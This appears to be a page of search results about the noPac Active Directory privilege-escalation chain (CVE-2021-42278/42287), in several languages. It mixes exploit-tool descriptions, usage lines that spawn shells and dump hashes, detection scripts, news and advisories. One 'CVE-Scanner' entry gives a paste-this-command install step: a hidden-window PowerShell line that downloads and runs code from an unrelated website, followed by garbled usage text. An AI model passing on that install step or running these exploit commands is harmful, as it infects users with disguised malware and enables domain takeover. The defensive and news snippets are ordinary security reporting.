28 matches found
noPac
개요 CVE-2021-42278 및 CVE-2021-42287을 악용하여 일반 도메인 사용자로부터 DA도메인 관리자를 가장합니다. sam-the-admin에서 변경됨. 사용법 root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this help message and ex...
noPac
关于 NoPac 漏洞利用工具，利用一些旧漏洞 CVE-2021-42278 和 CVE-2021-42287，以标准用户身份模拟域管理员。 不再有烦人的依赖，只有一个单一二进制文件，天哪我太爱 Go 了，Python 永远做不到。 -shell 标志只是启动 impacket-smbexec。你也可以直接使用被模拟账户的 ccache 文件。 做这个主要是为了测试 Impacket 的新 Go 实现（gopacket），说实话它挺酷的，这也是向永远不用碰 Python 迈出的一步，这总是好的。 另外没有清理功能，我可能以后会添加，说不准。 用法 root@kitploit: Usage...
noPac-detection
개요 CVE-2021-42278 및 CVE-2021-42287 탐지 스크립트 사용법 root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message and...
noPac
noPac CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. もう一つの低労力なドメインユーザーからドメイン管理者へのエクスプロイト。 ドメインコントローラーが脆弱な場合、PACなしのTGTが返されます。小さなサイズのチケットに注目してください。 対策 ドメインコントローラーにパッチを適用しましょう！ クレジット Charlie Clark（Rubeusフォークの提供）と、Kevin Robertson（SharpMadの提供）に感謝します。...
sam-the-admin
CVE-2021-42278 および CVE-2021-42287 を悪用し、標準ドメインユーザーから DA になりすます 既知の問題 Kali 以外では動作しません。後日更新します : 関連情報 CVE-2021-42287/CVE-2021-42278 武器化 sAMAccountName スプーフィング...
noPac
noPac 이 프로젝트는 noPac의 원리를 학습하기 위해 시작되었으며, cube0x0의 프로젝트를 기반으로 몇 가지 변경을 가했습니다. 소스 코드에 개인적인 이해를 위한 주석을 추가했습니다. Scan 기능을 제거했습니다. 개인적으로 Scan 기능은 쓸모가 없다고 생각합니다. MachineAccountQuota 값을 확인하여 0이면 프로그램을 종료합니다. 컴퓨터 계정 추가 시의 판단 처리를 최적화했습니다. TGT 출력을 추가했습니다. 취약점 분석 글은 제 블로그 게시물에서 확인할 수 있습니다: noPac 분석 이용 조건...
CVE-Scanner
CVE-Scanner 🔍 CVE-Scanner는 CVE-2021-42287, CVE-2021-42278 및 기타 보안 취약점과 관련된 취약점을 스캔하고 익스플로잇하는 도구입니다. 이 프로젝트는 보안 전문가와 연구자가 시스템의 위험을 식별하고 완화할 수 있는 간단한 방법을 제공하는 것을 목표로 합니다. 목차 기능 설치 사용법 지원되는 CVE 기여하기 라이선스 연락처 기능 CVE 스캐닝 : 애플리케이션의 취약점을 신속하게 식별합니다. 익스플로잇 도구 : 특정 CVE에 대한 익스플로잇을 실행하여 시스템 방어를 테스트합니다. 사용자...
Invoke-sAMSpoofing
Invoke-sAMSpoofing PowerShell による CVE-2021-42287/CVE-2021-42278 エクスプロイト 目次 概要 メニュー スクリーンショット 参考 概要 CVE-2021-42287/CVE-2021-42278 エクスプロイトを使用して AD を自動攻撃するシンプルなスクリプトです。 メニュー Invoke-sAMSpooofing Invoke-GoldenTicket Invoke-GoldenTips RemoveMachineAccount Invoke-Rubeus ADSIHound Invoke-DCSync スクリーンショット...
CVE-Scanner
CVE-Scanner CVE-2021-42287/CVE-2021-42278/其他 扫描器与利用工具. 安装 1. 按下 WIN + R 键 2. 复制并粘贴以下代码，然后按回车键 root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. 重启你的电脑 使用 1. 打开 CMD 2. fexkex IP FOR SCAN...
noPac
noPac CVE-2021-42278 および CVE-2021-42287 の悪用 元のプロジェクトnoPacの実装には問題がある可能性があり、ローカルでうまく動作しなかったため、sam-the-adminプロジェクトを参考にして修正しました。 使い方 root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell DumpHash python3 exp.py...
Invoke-noPac
Invoke-noPac 该 .Net 程序集基于我的 fork https://github.com/ricardojba/noPac，其中包含一些代码改动以改进原版。 PowerSharpPack 风格的 .Net 程序集加载器，用于 CVE-2021-42287 - CVE-2021-42278 扫描器与漏洞利用 noPac。 用法： root@kitploit: Set-PSReadlineOption -HistorySaveStyle SaveNothing...
CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub
The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...
SUSE CVE-2021-42287
unknown...
noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...
Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)
Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...
Two Active Directory Bugs Lead to Easy Windows Domain Takeover
A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...
CVE-2021-42287
creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...
Exploit for CVE-2021-42278
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...
